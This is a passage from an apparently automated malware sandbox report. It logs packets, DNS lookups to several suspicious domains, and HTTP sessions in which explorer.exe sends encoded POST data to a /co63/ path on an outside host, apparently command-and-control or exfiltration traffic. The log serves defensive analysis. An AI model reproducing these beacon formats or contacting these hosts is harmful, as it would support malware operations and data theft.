Jul 20, 2023 11:46:57.384066105 CEST	80	49731	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:57.400480032 CEST	80	49731	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:57.400513887 CEST	80	49731	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:57.400532961 CEST	80	49731	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:57.400551081 CEST	80	49731	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:57.400568962 CEST	80	49731	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:57.400583029 CEST	80	49731	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:57.400650024 CEST	49731	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:57.400686979 CEST	49731	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:57.400702953 CEST	49731	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:57.401159048 CEST	80	49731	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:57.401220083 CEST	49731	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.526452065 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.543009043 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.543163061 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.543375015 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.543407917 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.544631958 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.559838057 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.559873104 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.560976028 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.561135054 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.563703060 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.580229998 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.580279112 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.580302954 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.580319881 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.580336094 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.580430984 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.580509901 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.596923113 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.597090960 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.597136974 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.597157001 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.597245932 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.597282887 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.597474098 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.597589016 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.599745035 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.613538980 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.613570929 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.613589048 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.613641977 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.613662958 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.613708973 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.613753080 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.614551067 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.614574909 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.614590883 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.614639997 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.614686966 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.614686966 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.630139112 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.630172014 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.630188942 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.630207062 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.630223036 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.630294085 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.630461931 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.630877018 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.631354094 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.631373882 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.631741047 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.646867990 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.646897078 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.647073030 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800354958 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800379038 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800404072 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800429106 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800453901 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800478935 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800503969 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800518990 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.800538063 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.800563097 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800587893 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800616026 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800622940 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.800640106 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.800653934 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.800676107 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.800689936 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.801067114 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.801091909 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.801119089 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.801127911 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.801153898 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.801161051 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.801187038 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.801193953 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.801222086 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.802037954 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.802067041 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.802090883 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.802104950 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.802130938 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.802140951 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.802162886 CEST	80	49732	23.227.38.74	192.168.2.5
Jul 20, 2023 11:46:59.802172899 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:46:59.802195072 CEST	49732	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:47:00.118531942 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:47:00.118568897 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:47:00.118597031 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:47:00.118621111 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:47:00.118647099 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:47:00.118666887 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:47:00.118670940 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:47:00.118699074 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:47:00.118716955 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:47:00.118721008 CEST	80	49733	23.227.38.74	192.168.2.5
Jul 20, 2023 11:47:00.118731976 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:47:00.118753910 CEST	49733	80	192.168.2.5	23.227.38.74
Jul 20, 2023 11:47:00.122561932 CEST	49733	80	192.168.2.5	23.227.38.74

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2023 11:44:35.818205118 CEST	60841	53	192.168.2.5	8.8.8.8
Jul 20, 2023 11:44:35.879318953 CEST	53	60841	8.8.8.8	192.168.2.5
Jul 20, 2023 11:44:50.552478075 CEST	61893	53	192.168.2.5	8.8.8.8
Jul 20, 2023 11:44:50.588876009 CEST	53	61893	8.8.8.8	192.168.2.5
Jul 20, 2023 11:45:11.235212088 CEST	60649	53	192.168.2.5	8.8.8.8
Jul 20, 2023 11:45:33.849143028 CEST	51441	53	192.168.2.5	8.8.8.8
Jul 20, 2023 11:45:33.890857935 CEST	53	51441	8.8.8.8	192.168.2.5
Jul 20, 2023 11:45:54.516891956 CEST	49177	53	192.168.2.5	8.8.8.8
Jul 20, 2023 11:45:54.714396000 CEST	53	49177	8.8.8.8	192.168.2.5
Jul 20, 2023 11:46:15.094552040 CEST	49724	53	192.168.2.5	8.8.8.8
Jul 20, 2023 11:46:15.173907995 CEST	53	49724	8.8.8.8	192.168.2.5
Jul 20, 2023 11:46:39.587030888 CEST	61452	53	192.168.2.5	8.8.8.8
Jul 20, 2023 11:46:39.627633095 CEST	53	61452	8.8.8.8	192.168.2.5
Jul 20, 2023 11:46:57.250439882 CEST	65323	53	192.168.2.5	8.8.8.8
Jul 20, 2023 11:46:57.310929060 CEST	53	65323	8.8.8.8	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 20, 2023 11:44:35.818205118 CEST	192.168.2.5	8.8.8.8	0x365a	Standard query (0)	www.vestostore.com	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:44:50.552478075 CEST	192.168.2.5	8.8.8.8	0xc6ab	Standard query (0)	www.saleschildcarriers.com	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:45:11.235212088 CEST	192.168.2.5	8.8.8.8	0x2bf2	Standard query (0)	www.ballthingsez.com	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:45:33.849143028 CEST	192.168.2.5	8.8.8.8	0x9184	Standard query (0)	www.dlafluid.com	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:45:54.516891956 CEST	192.168.2.5	8.8.8.8	0xeeba	Standard query (0)	www.myccsmartmove.com	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:46:15.094552040 CEST	192.168.2.5	8.8.8.8	0x3fe3	Standard query (0)	www.takealicense.com	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:46:39.587030888 CEST	192.168.2.5	8.8.8.8	0x310b	Standard query (0)	www.naspewt.xyz	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:46:57.250439882 CEST	192.168.2.5	8.8.8.8	0x1688	Standard query (0)	www.mattewigs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 20, 2023 11:44:35.879318953 CEST	8.8.8.8	192.168.2.5	0x365a	No error (0)	www.vestostore.com	vestostore.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 11:44:35.879318953 CEST	8.8.8.8	192.168.2.5	0x365a	No error (0)	vestostore.com		86.38.202.187	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:44:50.588876009 CEST	8.8.8.8	192.168.2.5	0xc6ab	No error (0)	www.saleschildcarriers.com		172.67.215.254	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:44:50.588876009 CEST	8.8.8.8	192.168.2.5	0xc6ab	No error (0)	www.saleschildcarriers.com		104.21.75.67	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:45:11.283035040 CEST	8.8.8.8	192.168.2.5	0x2bf2	No error (0)	www.ballthingsez.com	4zmf1gx83y.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 11:45:11.283035040 CEST	8.8.8.8	192.168.2.5	0x2bf2	No error (0)	scdn2de06.wpc.9972b.lambdacdn.net	sni1gl.wpc.lambdacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 11:45:11.283035040 CEST	8.8.8.8	192.168.2.5	0x2bf2	No error (0)	sni1gl.wpc.lambdacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:45:33.890857935 CEST	8.8.8.8	192.168.2.5	0x9184	No error (0)	www.dlafluid.com	dlafluid.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 11:45:33.890857935 CEST	8.8.8.8	192.168.2.5	0x9184	No error (0)	dlafluid.com		34.102.136.180	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:45:54.714396000 CEST	8.8.8.8	192.168.2.5	0xeeba	No error (0)	www.myccsmartmove.com	342284.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 11:45:54.714396000 CEST	8.8.8.8	192.168.2.5	0xeeba	No error (0)	342284.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:45:54.714396000 CEST	8.8.8.8	192.168.2.5	0xeeba	No error (0)	342284.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:46:15.173907995 CEST	8.8.8.8	192.168.2.5	0x3fe3	No error (0)	www.takealicense.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 11:46:15.173907995 CEST	8.8.8.8	192.168.2.5	0x3fe3	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 11:46:15.173907995 CEST	8.8.8.8	192.168.2.5	0x3fe3	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:46:39.627633095 CEST	8.8.8.8	192.168.2.5	0x310b	No error (0)	www.naspewt.xyz		184.94.215.140	A (IP address)	IN (0x0001)	false
Jul 20, 2023 11:46:57.310929060 CEST	8.8.8.8	192.168.2.5	0x1688	No error (0)	www.mattewigs.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 20, 2023 11:46:57.310929060 CEST	8.8.8.8	192.168.2.5	0x1688	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.vestostore.com

www.saleschildcarriers.com

www.ballthingsez.com

www.dlafluid.com

www.myccsmartmove.com

www.takealicense.com

www.naspewt.xyz

www.mattewigs.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49711	86.38.202.187	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:44:37.828722954 CEST	121	OUT	GET /co63/?aJElwV=+eMjGIULdB7b+FjbEEC2CFnAZBB7ZIs3DDH5LmXZiTUQNAaNvk9FU6ysQ2HcgTeGr7Jo&lz=9rXXjDMXIb6HXH- HTTP/1.1 Host: www.vestostore.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 20, 2023 11:44:37.992095947 CEST	122	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Thu, 20 Jul 2023 09:44:37 GMT server: LiteSpeed location: https://www.vestostore.com/co63/?aJElwV=+eMjGIULdB7b+FjbEEC2CFnAZBB7ZIs3DDH5LmXZiTUQNAaNvk9FU6ysQ2HcgTeGr7Jo&lz=9rXXjDMXIb6HXH- platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49712	86.38.202.187	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:44:40.282881975 CEST	124	OUT	POST /co63/ HTTP/1.1 Host: www.vestostore.com Connection: close Content-Length: 1484 Cache-Control: no-cache Origin: http://www.vestostore.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.vestostore.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 32 38 41 5a 59 73 77 35 63 54 4c 46 6c 6c 7e 72 63 52 6a 69 53 52 72 50 52 52 64 4c 4f 4b 68 33 59 31 47 67 56 6d 7a 76 79 42 34 68 63 52 69 68 6d 56 30 6d 52 74 37 30 47 41 76 6d 76 78 75 31 7a 38 59 68 77 37 42 48 6f 36 4e 4d 71 71 6a 34 71 35 50 61 53 73 72 71 76 5a 71 63 62 68 54 39 34 6b 59 70 6f 4c 28 6c 35 7a 4b 46 33 35 63 6f 52 61 41 44 30 46 35 75 4c 4a 66 71 28 6c 48 53 63 54 56 70 36 74 69 56 6d 43 54 33 67 38 33 54 35 36 58 6b 64 38 62 50 57 70 78 72 66 59 76 5a 6c 61 74 67 4c 66 32 50 41 4f 38 39 63 67 32 51 4a 63 4c 5a 57 57 72 2d 59 6f 28 41 6a 78 4d 70 75 79 65 50 6e 41 5a 4c 63 46 54 49 45 6f 4d 32 28 68 77 37 6b 69 69 6b 49 6d 71 79 53 75 4a 35 79 30 71 46 37 4d 6d 6b 7a 62 4c 55 65 6f 70 46 68 79 6b 7a 28 34 66 7a 6c 4b 51 30 35 55 4e 39 61 69 79 64 5a 4d 68 48 30 4e 68 5a 45 6d 56 34 31 5a 61 70 71 42 5a 6c 47 69 67 4e 78 52 69 6d 30 71 78 7a 42 57 74 57 41 52 73 48 74 38 75 73 6d 30 52 33 68 58 53 57 75 42 6f 5a 70 50 61 72 6b 4c 77 75 55 54 6a 6d 6f 47 59 77 4d 72 75 50 35 4a 33 35 4e 71 68 47 7e 31 32 62 58 6d 46 6f 35 56 52 54 65 37 67 43 59 69 70 66 53 63 33 35 37 54 6c 7a 42 34 35 55 58 2d 4f 4d 7a 6a 33 49 28 63 62 55 61 72 55 77 76 73 66 72 41 62 33 79 73 79 34 72 77 2d 70 61 37 72 6b 5a 71 63 62 42 4e 4d 45 32 6b 71 73 6e 55 66 6f 74 6a 69 64 39 50 43 67 6f 45 30 38 5a 36 79 4b 6e 45 6d 76 4a 62 5f 6c 59 46 68 57 53 4d 6c 48 45 6f 34 79 2d 28 51 6d 59 43 4b 4d 4a 45 32 4c 46 5a 77 65 63 4e 6f 6a 76 33 43 43 70 68 54 38 79 4c 59 56 57 67 70 49 55 54 4b 32 53 33 34 69 37 6f 48 50 6f 42 34 73 4a 46 58 76 4c 51 6f 34 63 41 5a 76 77 6c 63 44 48 64 67 36 62 43 59 51 44 67 37 6d 6f 6e 66 33 54 46 6e 79 56 7a 56 28 79 38 7a 59 79 6a 73 6d 77 6b 7a 32 5a 72 56 34 49 30 39 79 4b 69 53 5a 68 62 74 43 57 61 48 43 36 61 50 5a 77 54 6d 70 51 42 75 37 58 66 74 28 39 55 31 4f 68 73 71 70 5a 67 7a 5a 43 50 4a 33 39 42 36 34 4d 43 6d 69 58 62 38 69 64 53 31 64 67 36 68 64 79 42 30 6f 32 7e 6e 5a 5f 56 47 64 74 50 37 57 62 33 69 67 47 34 50 38 53 59 6d 34 53 47 46 32 42 35 4c 47 58 65 6b 49 58 78 41 37 37 5a 63 30 42 71 50 31 58 6f 66 34 63 36 33 70 4e 68 59 43 76 38 62 34 62 36 61 6b 58 67 2d 51 6a 74 31 6b 55 4b 73 58 74 75 36 51 45 65 61 36 6f 79 6f 46 47 66 6a 28 45 47 56 68 6a 4a 74 32 46 31 69 41 6e 47 39 6b 73 69 35 33 7a 69 43 37 4b 61 48 7a 47 7a 69 78 54 62 38 42 4f 6b 53 32 76 74 30 4e 34 46 71 6a 36 78 65 51 49 61 4c 4d 6a 4e 33 57 36 51 43 6c 4f 6c 56 44 47 68 62 39 49 69 4f 4a 4e 59 32 49 76 6e 6d 34 78 28 72 44 38 35 45 70 42 56 77 4f 46 78 4a 4b 6b 6d 6a 39 35 68 7a 4a 64 4a 69 56 51 32 79 5a 62 59 4a 77 34 42 7a 62 79 4a 6b 4e 39 53 31 4f 43 37 31 70 32 52 33 63 69 4b 69 63 71 56 61 41 59 45 47 4c 78 71 42 61 72 7a 48 69 70 51 74 42 72 4e 59 67 79 5a 4e 4e 47 46 59 28 34 6d 42 41 37 77 41 4f 7a 7a 30 68 69 54 54 74 37 68 66 28 4b 78 77 6f 52 72 31 63 63 72 59 66 77 36 63 78 4b 32 31 68 6e 6c 6e 6b 68 43 41 52 6b 56 6b 45 5f 52 38 34 44 55 69 44 43 43 47 48 74 41 45 6e 75 34 4a 45 41 6d 64 7a 57 73 61 28 32 6a 47 39 5a 4d 47 53 2d 72 70 43 36 75 36 4c 59 61 48 62 36 73 58 73 59 66 6c 39 70 32 46 6d 4a 76 6b 51 73 56 53 52 73 37 46 43 77 6a 36 37 56 6b 4d 33 54 6d 6e 32 6b 33 37 64 70 52 6a 37 31 73 58 6b 55 49 31 37 6b 67 71 63 71 34 2d 71 6a 59 72 52 42 6a 43 6f 4b 66 6e 6a 38 70 32 73 51 31 76 32 5f 49 62 41 51 56 5f 77 6a 4b 61 36 4c 55 4c 77 6c 6a 30 37 79 69 7a 5a 76 46 73 70 33 74 33 61 4c 55 36 7e 35 7a 4a 69 57 61 72 67 6c 45 68 6b 67 57 41 55 72 70 77 5a 61 75 34 79 7a 58 73 46 4b 43 6b 61 67 6d 61 66 6b 31 2d 7e 4e 52 67 56 69 62 32 37 37 71 56 71 44 7e 79 54 74 33 70 48 53 4e 64 65 6f 55 69 72 4e 73 44 67 35 64 6c 57 66 64 45 66 54 77 33 37 33 41 50 65 5a 73 66 56 48 4c 73 76 41 46 6e 37 63 6d 5a 79 37 36 70 4e 67 55 69 44 78 4c 58 55 52 4e 44 54 4e 7a 5a 53 38 50 66 52 4e 44 65 77 71 54 43 5a 48 67 64 45 74 6e 50 67 42 76 35 4e 50 35 70 6c 37 41 6d 43 73 68 51 5a 31 58 65 4b 36 67 33 77 44 69 6e 49 43 42 61 7e 75 74 43 74 76 61 51 59 63 34 79 61 58 63 52 47 62 47 4e 58 2d 67 73 4b 75 45 54 4d 73 33 51 4c 51 46 50 6b 61 6d 56 64 68 73 59 32 53 4b 30 78 37 Data Ascii: aJElwV=28AZYsw5cTLFll~rcRjiSRrPRRdLOKh3Y1GgVmzvyB4hcRihmV0mRt70GAvmvxu1z8Yhw7BHo6NMqqj4q5PaSsrqvZqcbhT94kYpoL(l5zKF35coRaAD0F5uLJfq(lHScTVp6tiVmCT3g83T56Xkd8bPWpxrfYvZlatgLf2PAO89cg2QJcLZWWr-Yo(AjxMpuyePnAZLcFTIEoM2(hw7kiikImqySuJ5y0qF7MmkzbLUeopFhykz(4fzlKQ05UN9aiydZMhH0NhZEmV41ZapqBZlGigNxRim0qxzBWtWARsHt8usm0R3hXSWuBoZpParkLwuUTjmoGYwMruP5J35NqhG~12bXmFo5VRTe7gCYipfSc357TlzB45UX-OMzj3I(cbUarUwvsfrAb3ysy4rw-pa7rkZqcbBNME2kqsnUfotjid9PCgoE08Z6yKnEmvJb_lYFhWSMlHEo4y-(QmYCKMJE2LFZwecNojv3CCphT8yLYVWgpIUTK2S34i7oHPoB4sJFXvLQo4cAZvwlcDHdg6bCYQDg7monf3TFnyVzV(y8zYyjsmwkz2ZrV4I09yKiSZhbtCWaHC6aPZwTmpQBu7Xft(9U1OhsqpZgzZCPJ39B64MCmiXb8idS1dg6hdyB0o2~nZ_VGdtP7Wb3igG4P8SYm4SGF2B5LGXekIXxA77Zc0BqP1Xof4c63pNhYCv8b4b6akXg-Qjt1kUKsXtu6QEea6oyoFGfj(EGVhjJt2F1iAnG9ksi53ziC7K